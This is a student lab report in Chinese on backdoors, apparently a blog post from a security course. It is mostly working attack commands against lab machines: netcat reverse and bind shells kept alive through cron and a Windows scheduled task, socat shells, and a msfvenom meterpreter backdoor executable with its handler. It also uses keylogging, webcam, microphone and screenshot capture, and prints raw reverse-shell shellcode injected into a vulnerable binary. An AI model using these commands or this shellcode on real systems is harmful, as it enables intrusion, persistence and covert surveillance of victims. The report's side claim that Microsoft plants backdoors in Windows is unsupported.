网络对抗Exp2-后门原理与实践

发布时间 2023-03-23 23:22:40作者: 20201319吴向林

实验基础

本次实验需要我们掌握后门的基础知识,学习使用nc实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。

基础知识

后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。

常用后门工具

  • NC和Netcat

    底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。

    • 在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
    • 在Windows系统中,需要下载ncat.rar,解压后可使用
  • SoCat
    相当于Netcat++,一个超级Netcat工具。
    在Windows下可以下载socat.rar,使用README作为参考。
    任何代理、转发等功能都可以用该工具实现

  • Meterpreter

    一个用来生成后门程序的程序。

    它包含着后门的

    1. 基本功能(基本的连接、执行指令)
    2. 扩展功能(如搜集用户信息、安装服务等功能)
    3. 编码模式
    4. 运行平台
    5. 运行参数

    它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。

    常见的Meterpreter程序有

    本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter。

实验目标

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell,任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

实验环境

环境

  • 主机:Windows 11;
  • 靶机:Kali Linux Debian 10;

在主机上用ipconfig查看Windows11主机IP

image-20230322135801218
主机IP为`192.168.199.153

在Kali虚拟机中用sudo ifconfig查看Kali虚拟机IP

image-20230322135845852

Kali的IP为:192.168.242.129

实验过程

一、使用netcat获取主机操作Shell,启动cron

在主机中使用ncat -l -p 1319(个人学号后四位)监听本机的1319端口

image-20230322135958736
(注:若Windows中未安装ncat命令,可以点击ncat.rar下载,解压后可使用)

在主机中获取虚拟机shell

在虚拟机中使用nc 192.168.199.153(主机IP) 1319 -e /bin/sh连接主机反弹shell
image-20230322140029499
成功getshell
image-20230322140119021

在虚拟机中用nc -l -p 1319监听主机1319端口

image-20230322140216291

在主机中用ncat -e cmd 192.168.242.129 1319,成功获取到主机shell
image-20230322140240758

在虚拟机中启动cron并在主机监听

先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
image-20230322140343096
在最后一行添加19 * * * * nc 192.168.199.153 1319 -e /bin/sh,即在每个小时的第19分钟反向连接Windows主机的1319端口
image-20230322140416681
等到每小时的13分,在ip地址为主机端用ncat -l -p 1319打开监听即可
image-20230322140552276
在主机成功获取虚拟机的shell
image-20230322140620046
此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 1319 -e /bin/sh,这是攻击机能随时通过nc 主机ip 1319获得虚拟机的一个Shell

二、使用socat获取主机操作Shell,任务计划启动

在Windows获得Linux Shell

在Kali中用man socat查看使用说明
image-20230322140713040

在Windows中按Win+R,再输入compmgmt.msc打开计算机管理
image-20230322140738569

在系统工具中的任务计划程序中创建任务
image-20230322140839601

设置任务名称
image-20230322140857868

新建触发器
image-20230322140919956
image-20230322141102112

下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README

新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1319 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1319,同时把cmd.exe的stderr重定向
image-20230322141138425

设置好后我们按下Win+L(通用)或者F10(一些电脑适用)锁定工作台,即把电脑锁屏。解锁后由于Windows防火墙没关,发现弹出UAC警告,说明之前设置成功
image-20230322141155624

在Kali中输入命令socat - tcp:192.168.199.153:1319,成功获取Windows的Shell
image-20230322141304419

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上生成后门可执行程序20201319_backdoor.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.129 LPORT=1319 -f exe > 20201319_backdoor.exe,其中

  • LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
  • LPORT是回连的端口
  • -p 使用的payload。
    payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
  • -f 生成文件的类型
  • > 输出到哪个文件

image-20230322141352577

在Windows上打开监听
image-20230322141437190

在Kali上用nc 192.168.199.153 1319 < 20201319_backdoor.exe将生成的20201319_backdoor.exe后门程序传过去
image-20230322141727718

在kali上使用msfconsole指令进入msf控制台
image-20230322141744854

对msf控制台进行配置
依次输入以下命令

use exploit/multi/handler		#使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp		#使用和生成后门程序时相同的payload
set LHOST 192.168.242.129			#KaliIP,和生成后门程序时指定的IP相同
set LPORT 1319

image-20230322141806100

配置完后的情况
image-20230322141845272

接着输入exploit进行监听,在Windows在打开20201319_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
image-20230322141913202

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)
image-20230322142152422

获取目标主机摄像头

输入webcam_snap指令控制摄像头进行拍照
image-20230322142256528
run webcam可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
image-20230322142348730

image-20230322142400559

获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)
image-20230322142428042

截取主机屏幕

使用screenshot指令可以进行截屏
image-20230322142448227
image-20230322142502151

五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

参考网站资料

msfvenom生成各类Payload命令
msf生成shellcode - dozeoo - 博客园
KALI的学习笔记篇(八)使用MSF生成的SHELLCODE制作免杀PAYLOAD

查看各个主机版本适用的payload

使用msfvenom --list payload

image-20230323224814662

选定payload,确定所需要参数

做这一步之前,先关闭地址随机化和设置堆栈可执行。

后执行指令:

msfvenom -p linux/x86/shell_reverse_tcp --list-options

image-20230323225036361

选好了payload,接下来我们-f选payload的输出格式,可通过如下指令查看其有那些格式

msfvenom -f --list                                        
linux/x86/shell/reverse_tcp

image-20230323225211982

生成shellcode

最终生成shellcode的指令为

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.242.129 LPORT=1319 -f c
-p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp,其中需要的参数分别为: LHOST=192.168.242.129 LPORT=1319
所以-f c表示采取c编码格式,生成的shellcode如下:

\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\xf2\x81\x68\x02\x00\x05\x27\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

image-20230323225405006

生成input_shellcode文件

结合exp1中找到的pwn1的返回地址(我的是0xffffd4d0),加在shellcode开头,再在上覆盖缓冲区的随意字符,首先在Kali上生成shellcode在Kali本地测试,用如下代码生成input,然后再按照之前的方法设置msf控制台

image-20230323225501362

再开一个终端,配置msfconsole

use exploit/multi/handler		#使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp		#使用和生成后门程序时相同的payload
set LHOST 192.168.242.129			#KaliIP,和生成后门程序时指定的IP相同
set LPORT 1319

image-20230323225559805

image-20230323225612074

监听

在该终端输入exploit

image-20230323225638207

在之前打开的中断输入:(cat Input_shellcode;cat) | ./pwn1

image-20230323225748619

查看结果

image-20230323225846295

成功!


基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

在网上下载盗版的软件,像下载某些付费软件的“破解版”,可能其中已经被植入了后门。

例举你知道的后门如何启动起来(win及linux)的方式?

修改linux的cron程序、注入shellcode、木马、网络协议捆绑、社会工程学

Meterpreter有哪些给你印象深刻的功能?

本次实验过程中简单的msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.129 LPORT=1319 -f exe > 20201319_backdoor.exe一句就可以生成相对应类型的后门,其他录音、截图、录像等功能都让我感觉到很新奇,这次一次让我有直接的十分深刻感受的实验。

如何发现自己有系统有没有被安装后门?

如果电脑经常出现一些异常情况则在一定程度上可认为系统被安装了后门(其实Windows本身就被微软植入了许多后门,只是还没到暴露后门获取情报的时候)
简要说来有这样一些异常情况:

  • 经常死机,病毒打开了许多文件或占用了大量内存。
  • 系统无法启动,病毒修改了硬盘的引导信息,或删除了某些启动文件。
  • 某些文件打不开,病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。
  • 经常报告内存不够,病毒非法占用了大量内存,或是打开了大量的软件。
  • 提示硬盘空间不够,病毒复制了大量的病毒文件。
  • 出现大量来历不明的文件,病毒作为母本复制了大量文件。
  • 启动黑屏/蓝屏,病毒感染。
  • 数据丢失,病毒删除了文件。
  • 系统运行速度慢,病毒占用了内存和CPU资源,在后台运行了大量非法操作。
  • 系统自动执行操作,病毒在后台执行非法操作。

实验心得

这次实验的内容十分丰富,但是也比较坎坷,尤其是最后一步加分作业,自己调试的时候一直调不通,查了很多博客,用了2天时间都没有解决问题,最后还是通过询问同学才最后解决的。

本次,从最开始的用ncatsocat获取Linux、Windows的shell,到后面使用Meterpreter生成针对特定系统的后门程序并对主机进行攻击获取主机的摄像头权限、键盘记录等,再到加分项,我对后门也有了很直观的认识。虽然这次实验说实话基本是照葫芦画瓢,但是是一次很神奇的体验,我对后门原理也有一定的了解了,对后门常用工具也有了一定的熟悉度。同时,这次实验也让我联想到我的设备万一被别人安装了后门,将对自己产生巨大的损失,所以我以后也会更加注意自己的设备安全。